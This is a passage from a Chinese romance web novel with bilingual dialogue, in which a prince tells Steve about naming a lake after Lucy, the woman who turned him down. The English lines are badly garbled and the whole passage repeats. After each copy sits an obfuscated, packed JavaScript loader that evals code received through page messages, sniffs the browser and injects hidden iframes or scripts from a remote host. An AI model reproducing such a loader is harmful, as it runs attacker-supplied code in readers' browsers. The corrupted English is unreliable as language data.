许信成有些惊讶，他当然知道“Lake Lucy”是什么意思，但他还是好奇地问道：“Lucy lake? You mean……”（“Lucy之湖？你是说……”）
“Yes， I namedafte this lake 3 years ago， andthe owner， I got the rightgivea new name， andonethe most beautiful lakesthis world， I think I should nameafter onethe most beautiful girls I had knownmy life， and Lucythe first and only name I camewith.”（“是的，我以Lucy的名字来命名它。我是在3年前买下这个湖的，作为它的拥有者，我有权力为它取一个新名字，作为这世界上最美丽的一个湖，我想我应该以这世界上我所认识的最美丽的女孩子的名字来命名它，而Lucy就是我第一个想到的也是唯一想到的名字。”）
许信成惊诧地看着Anderson王子，只见他的脸上洋溢着一种开心和满足的笑容。
“when I signed the purchase contractthis lake 3 years ago，lawyer said I had the rightrename the lake， and puton the contract，just tookone seconddecide that I would nameafte like that， it’o-brainer.”（“3年前，当我在签署购买合同的时候，我的律师说我有权力重新命名这个湖，然后把它的名字写到合同里，当时我只用了一秒钟便决定了我要以Lucy的名字来命名它。就那么简单，那是一件不用多想的事。”）
许信成回想起Anderson王子昨天下午在小溪边第一次见到Lucy时，还有在阳台上见到Lucy时，还有在整个晚宴的过程中，当他看着Lucy时，那温情脉脉的眼神和表情，其实，他从一开始就看出了Anderson王子对Lucy有着超越一般好朋友的情愫，只是没想到他竟是如此痴情，竟把自己拥有的这个美丽的湖命名为Lucy。
Anderson王子指了指前面不远处湖边的几块大石头，对许信成说：“Steve， let’s take are some stones over there， let’ssit down.”（“Steve，让我们休息一会。那边有一些大石头，我们过去那里坐坐。”）
“ok.”（“好。”）
两人走到石头边，各自挑了一块大石头坐了下来。
Anderson王子缓缓地仰起头，仰望了一下浅蓝色的天空，望了望东边的太阳，然后低头望着浅蓝色的湖面，深深地吸了一口气，缓缓吐气，然后，像是对许信成说，又像是对自己说：“How beautiful she is!”（“她是多么的美啊！”）
许信成知道，Anderson王子所说的“She”既是指眼前的被他命名为Lake Lucy的湖，又指Lucy。
Anderson王子问许信成：“Steve， how long have you known Lucy?”（“Steve，你认识Lucy多久了？”）
“Not too long， only about 2 months.”（“不是很久，只有大概两个月。”）
“I have known her for about remember the first time I met her， I still remember all the details， I still remember allherher panyNew York， I went therea potentia I madly felllove with herthe very first sightthe very first moment.”（“我已经认识她约4年了。我至今仍记得第一次见到她时的情形，我至今让记得所有的细节，我至今仍记得所有的时刻。我是在纽约在她的公司见到她的，我是作为一个潜在客户过去见她的。而我在见到她的第一眼在见到她的那一瞬间便已经疯狂地爱上了她。”）
Anderson王子在说以上那段话时，他的脸上一直挂着一个有些痴迷的微笑，可是，话一说完，他脸上的神色突然一变，痴迷的微笑立刻变成了惆怅的苦笑，他深深地叹了一口气，说：“I triedask her out， nota client， but she turneaid she just wantedkeep our relationshiooperativ course， I would never give up，I kept trying and trying for 2 years， I kept sending her flowers every day for 2 years， but still， her answerth day after 2 years， I flewNew Yorkmy jet from here， justgive her some flowers I pickedmyself from the square gardenthtryfor the last time with allheart.”（“我试着约她出去，不是以客户的身份，而是以一个朋友的身份。但她拒绝了我。她说她只想和我保持合作伙伴关系。当然了，我是不会放弃的，所以我一次又一次地尝试，尝试了两年，两年里，我坚持每天送花给她，但是，她的答复依然一样。两年后的一天，我从这里乘坐我的私人飞机去纽约，只为了把我在城堡花园里亲自采摘的花送给她。我想以我的全心全意再最后尝试一次。”）
Anderson王子说到这时，他脸上的神色从惆怅变成了悲伤，而后又迅速地变成了痛苦，他又深深地叹了一口气，说：“But， her answerstill no. I saidher， she would have all I have; she would have this lake， the castle，panies， allinvestments， allproperties， and she wouldn’t havework foingle dayhe I would love her forever， for her， I could giveeverything; for her， I could just stayhome every day; for her， I could just quit everything and justbe with her every day， ever her answerstill no. I asked her why， Lucy just said shea celibatarian.”
（“但是，她的答案依然是不。我对她说，她将可以拥有我拥有的一切，她将拥有这个湖，这座城堡，我的公司，我的所有投资，我的所有财产，她这辈子将不需要再工作一天。我会永远地爱着她，为了她，我可以放弃一切；为了她，我可以每天都待在家里；为了她，我甚至可以放弃一切，只求每天每一刻都和她在一起。但是，她的答案依然是不。我问她为什么，Lucy只是说她是一位独身主义者。”）
Anderson王子停了停，大大地做了好几个深呼吸，明显是在努力地调整着自己的心绪，半响之后，他才接着说：“I waas jus would she wantbelibatarian? So， I kept askingsaid she needs her own space and time， and she said， most importantly， she wouldn’thappyshe leftsaid，this world， what really mattersherher career， what really mattersherwhat shedoing now.”
（“我感到很震惊。那简直令人难以置信。她为什么想成为一位独身主义者。所以，我又追问她为什么。她说她需要有自己的空间和时间，她还说，最重要的是，如果她离开了她的事业，她是不会开心。她说，在这世界上，对她来说最重要的是她的事业，对她来说最重要的是她正在做的事。”）
Anderson王子深情看着浅蓝色的湖面，他的眼眶里泛起了晶莹的泪光，说:“I have been tryingfigure out why her careerso importanther， but after all this time， I still wouldn’t really figure out why.”（“我一直想弄明白为什么她的事业对她来说是那么的重要，但是，过了这么久的时间，我依然还是没有弄明白为什么。”）
许信成看着此刻悲伤万分的Anderson王子，他真地为他对Lucy的深情和真情所感动，他甚至都开始有点同情他，同情到有点想把他知道的答案告诉他，但许信成知道，他无论如何都不能告诉他，因为那是他对Lucy的承诺，为了这个承诺，就算Anderson王子用整个城堡和庄园与他交换，他也不会违背他对Lucy的这个承诺。
Anderson王子有力地站起身来，挺直腰身，紧握双拳，又做了一个深呼吸，目光变得异常坚毅，像是下定了某个决心似的，他坚定地说：“But I don’t care， I don’t needknow why， I don’t even need LucylovongI love her， that’s enough for me;longI love her， I don’t even needbe with her;longshehappy， Ihappy; andher careerso importanther， then I willeverything I canmake her career beiggethe way I choselove her， thatthe way I will keep doingmy life， thatthe way I will keep loving hermy entire life.”（“但是，我不在乎，我不需要知道为什么，我甚至都不需要Lucy一样地爱回我。只要我爱她，就已经足够了，只要我爱她，我甚至都不需要和她在一起；只要她开心，我就开心；如果她的事业对她来说是如此的重要，那么，我将愿意做所有我能做的事去令到她的事业更成功。这就是我选择爱她的方式，这就是我这辈子将一直坚持的方式，这就是我这一生将一直爱她的方式。”）
许信成听到Anderson王子最后说的那几句话，他真地被他深深地感动了，他心想：“Anderson王子刚刚说的才是真爱，才是这世界上最伟大的真爱！”
许信成站了起来，很是感慨地说道：“Anderson， today， I have learned the most valuable thing from you; today， I have known what true love really means; today， I have berue believer that there IS true lovethis world.”（“Anderson，今天，我从你身上学到一件最宝贵的事；今天，我懂得什么是真爱；今天我相信这个世界原来是真地有真爱的。”）
eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g,k[c])}}return p}('h 4="F"+E.d.C(B).H(2);c.6("<f L=\'"+4+"\'></f>");8((/(K)/i.J(b.I))){7.m(\'u\',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.y.G(/\\+/g,"%15")))}}});c.6(\'<l 10="12:13;" d="j://m.n.t/s-11-\'+(r q).o+\'.14?N=5&17=\'+b["a"]+\'&p=\'+4+\'" 16="Y" R="Z%" Q="0" P="o" S="0" T="X"></l>\}w{;c.6(\'<k d="j://m.n.t/s.V?\'+(r q).o+\'&U=1&p=\'+4+\'&a=\'+b["a"]+\'"><\\/k>\}',62,70,'|||_dat_d|djdzh||write|window|if|if_id|platform|navigator|document|src||div||var||https|script|iframe||24djk|getTime|lsbdid|date|new|51085|message|function||data|wz_ev_j|decodeURponent|eval|36|toString|random|math|div_|replace|substr|userAgent|test|UCBrowser|id|addEventListener|sdfa|no|scrolling|marginheight|width|frameborder|allowtransparency|is_bs|m3u8|else|true|auto|100|style||display|none|html|20|height|serasfd'.split('|,0,{}))
_17mb_wappbottom;
setTimeout(function{("nogg").="none";},4000);
“Yes， I namedafte this lake 3 years ago， andthe owner， I got the rightgivea new name， andonethe most beautiful lakesthis world， I think I should nameafter onethe most beautiful girls I had knownmy life， and Lucythe first and only name I camewith.”（“是的，我以Lucy的名字来命名它。我是在3年前买下这个湖的，作为它的拥有者，我有权力为它取一个新名字，作为这世界上最美丽的一个湖，我想我应该以这世界上我所认识的最美丽的女孩子的名字来命名它，而Lucy就是我第一个想到的也是唯一想到的名字。”）
许信成惊诧地看着Anderson王子，只见他的脸上洋溢着一种开心和满足的笑容。
“when I signed the purchase contractthis lake 3 years ago，lawyer said I had the rightrename the lake， and puton the contract，just tookone seconddecide that I would nameafte like that， it’o-brainer.”（“3年前，当我在签署购买合同的时候，我的律师说我有权力重新命名这个湖，然后把它的名字写到合同里，当时我只用了一秒钟便决定了我要以Lucy的名字来命名它。就那么简单，那是一件不用多想的事。”）
许信成回想起Anderson王子昨天下午在小溪边第一次见到Lucy时，还有在阳台上见到Lucy时，还有在整个晚宴的过程中，当他看着Lucy时，那温情脉脉的眼神和表情，其实，他从一开始就看出了Anderson王子对Lucy有着超越一般好朋友的情愫，只是没想到他竟是如此痴情，竟把自己拥有的这个美丽的湖命名为Lucy。
Anderson王子指了指前面不远处湖边的几块大石头，对许信成说：“Steve， let’s take are some stones over there， let’ssit down.”（“Steve，让我们休息一会。那边有一些大石头，我们过去那里坐坐。”）
“ok.”（“好。”）
两人走到石头边，各自挑了一块大石头坐了下来。
Anderson王子缓缓地仰起头，仰望了一下浅蓝色的天空，望了望东边的太阳，然后低头望着浅蓝色的湖面，深深地吸了一口气，缓缓吐气，然后，像是对许信成说，又像是对自己说：“How beautiful she is!”（“她是多么的美啊！”）
许信成知道，Anderson王子所说的“She”既是指眼前的被他命名为Lake Lucy的湖，又指Lucy。
Anderson王子问许信成：“Steve， how long have you known Lucy?”（“Steve，你认识Lucy多久了？”）
“Not too long， only about 2 months.”（“不是很久，只有大概两个月。”）
“I have known her for about remember the first time I met her， I still remember all the details， I still remember allherher panyNew York， I went therea potentia I madly felllove with herthe very first sightthe very first moment.”（“我已经认识她约4年了。我至今仍记得第一次见到她时的情形，我至今让记得所有的细节，我至今仍记得所有的时刻。我是在纽约在她的公司见到她的，我是作为一个潜在客户过去见她的。而我在见到她的第一眼在见到她的那一瞬间便已经疯狂地爱上了她。”）
Anderson王子在说以上那段话时，他的脸上一直挂着一个有些痴迷的微笑，可是，话一说完，他脸上的神色突然一变，痴迷的微笑立刻变成了惆怅的苦笑，他深深地叹了一口气，说：“I triedask her out， nota client， but she turneaid she just wantedkeep our relationshiooperativ course， I would never give up，I kept trying and trying for 2 years， I kept sending her flowers every day for 2 years， but still， her answerth day after 2 years， I flewNew Yorkmy jet from here， justgive her some flowers I pickedmyself from the square gardenthtryfor the last time with allheart.”（“我试着约她出去，不是以客户的身份，而是以一个朋友的身份。但她拒绝了我。她说她只想和我保持合作伙伴关系。当然了，我是不会放弃的，所以我一次又一次地尝试，尝试了两年，两年里，我坚持每天送花给她，但是，她的答复依然一样。两年后的一天，我从这里乘坐我的私人飞机去纽约，只为了把我在城堡花园里亲自采摘的花送给她。我想以我的全心全意再最后尝试一次。”）
Anderson王子说到这时，他脸上的神色从惆怅变成了悲伤，而后又迅速地变成了痛苦，他又深深地叹了一口气，说：“But， her answerstill no. I saidher， she would have all I have; she would have this lake， the castle，panies， allinvestments， allproperties， and she wouldn’t havework foingle dayhe I would love her forever， for her， I could giveeverything; for her， I could just stayhome every day; for her， I could just quit everything and justbe with her every day， ever her answerstill no. I asked her why， Lucy just said shea celibatarian.”
（“但是，她的答案依然是不。我对她说，她将可以拥有我拥有的一切，她将拥有这个湖，这座城堡，我的公司，我的所有投资，我的所有财产，她这辈子将不需要再工作一天。我会永远地爱着她，为了她，我可以放弃一切；为了她，我可以每天都待在家里；为了她，我甚至可以放弃一切，只求每天每一刻都和她在一起。但是，她的答案依然是不。我问她为什么，Lucy只是说她是一位独身主义者。”）
Anderson王子停了停，大大地做了好几个深呼吸，明显是在努力地调整着自己的心绪，半响之后，他才接着说：“I waas jus would she wantbelibatarian? So， I kept askingsaid she needs her own space and time， and she said， most importantly， she wouldn’thappyshe leftsaid，this world， what really mattersherher career， what really mattersherwhat shedoing now.”
（“我感到很震惊。那简直令人难以置信。她为什么想成为一位独身主义者。所以，我又追问她为什么。她说她需要有自己的空间和时间，她还说，最重要的是，如果她离开了她的事业，她是不会开心。她说，在这世界上，对她来说最重要的是她的事业，对她来说最重要的是她正在做的事。”）
Anderson王子深情看着浅蓝色的湖面，他的眼眶里泛起了晶莹的泪光，说:“I have been tryingfigure out why her careerso importanther， but after all this time， I still wouldn’t really figure out why.”（“我一直想弄明白为什么她的事业对她来说是那么的重要，但是，过了这么久的时间，我依然还是没有弄明白为什么。”）
许信成看着此刻悲伤万分的Anderson王子，他真地为他对Lucy的深情和真情所感动，他甚至都开始有点同情他，同情到有点想把他知道的答案告诉他，但许信成知道，他无论如何都不能告诉他，因为那是他对Lucy的承诺，为了这个承诺，就算Anderson王子用整个城堡和庄园与他交换，他也不会违背他对Lucy的这个承诺。
Anderson王子有力地站起身来，挺直腰身，紧握双拳，又做了一个深呼吸，目光变得异常坚毅，像是下定了某个决心似的，他坚定地说：“But I don’t care， I don’t needknow why， I don’t even need LucylovongI love her， that’s enough for me;longI love her， I don’t even needbe with her;longshehappy， Ihappy; andher careerso importanther， then I willeverything I canmake her career beiggethe way I choselove her， thatthe way I will keep doingmy life， thatthe way I will keep loving hermy entire life.”（“但是，我不在乎，我不需要知道为什么，我甚至都不需要Lucy一样地爱回我。只要我爱她，就已经足够了，只要我爱她，我甚至都不需要和她在一起；只要她开心，我就开心；如果她的事业对她来说是如此的重要，那么，我将愿意做所有我能做的事去令到她的事业更成功。这就是我选择爱她的方式，这就是我这辈子将一直坚持的方式，这就是我这一生将一直爱她的方式。”）
许信成听到Anderson王子最后说的那几句话，他真地被他深深地感动了，他心想：“Anderson王子刚刚说的才是真爱，才是这世界上最伟大的真爱！”
许信成站了起来，很是感慨地说道：“Anderson， today， I have learned the most valuable thing from you; today， I have known what true love really means; today， I have berue believer that there IS true lovethis world.”（“Anderson，今天，我从你身上学到一件最宝贵的事；今天，我懂得什么是真爱；今天我相信这个世界原来是真地有真爱的。”）
eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g,k[c])}}return p}('h 4="F"+E.d.C(B).H(2);c.6("<f L=\'"+4+"\'></f>");8((/(K)/i.J(b.I))){7.m(\'u\',v(e){h 3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.y.G(/\\+/g,"%15")))}}});c.6(\'<l 10="12:13;" d="j://m.n.t/s-11-\'+(r q).o+\'.14?N=5&17=\'+b["a"]+\'&p=\'+4+\'" 16="Y" R="Z%" Q="0" P="o" S="0" T="X"></l>\}w{;c.6(\'<k d="j://m.n.t/s.V?\'+(r q).o+\'&U=1&p=\'+4+\'&a=\'+b["a"]+\'"><\\/k>\}',62,70,'|||_dat_d|djdzh||write|window|if|if_id|platform|navigator|document|src||div||var||https|script|iframe||24djk|getTime|lsbdid|date|new|51085|message|function||data|wz_ev_j|decodeURponent|eval|36|toString|random|math|div_|replace|substr|userAgent|test|UCBrowser|id|addEventListener|sdfa|no|scrolling|marginheight|width|frameborder|allowtransparency|is_bs|m3u8|else|true|auto|100|style||display|none|html|20|height|serasfd'.split('|,0,{}))
_17mb_wappbottom;
setTimeout(function{("nogg").="none";},4000);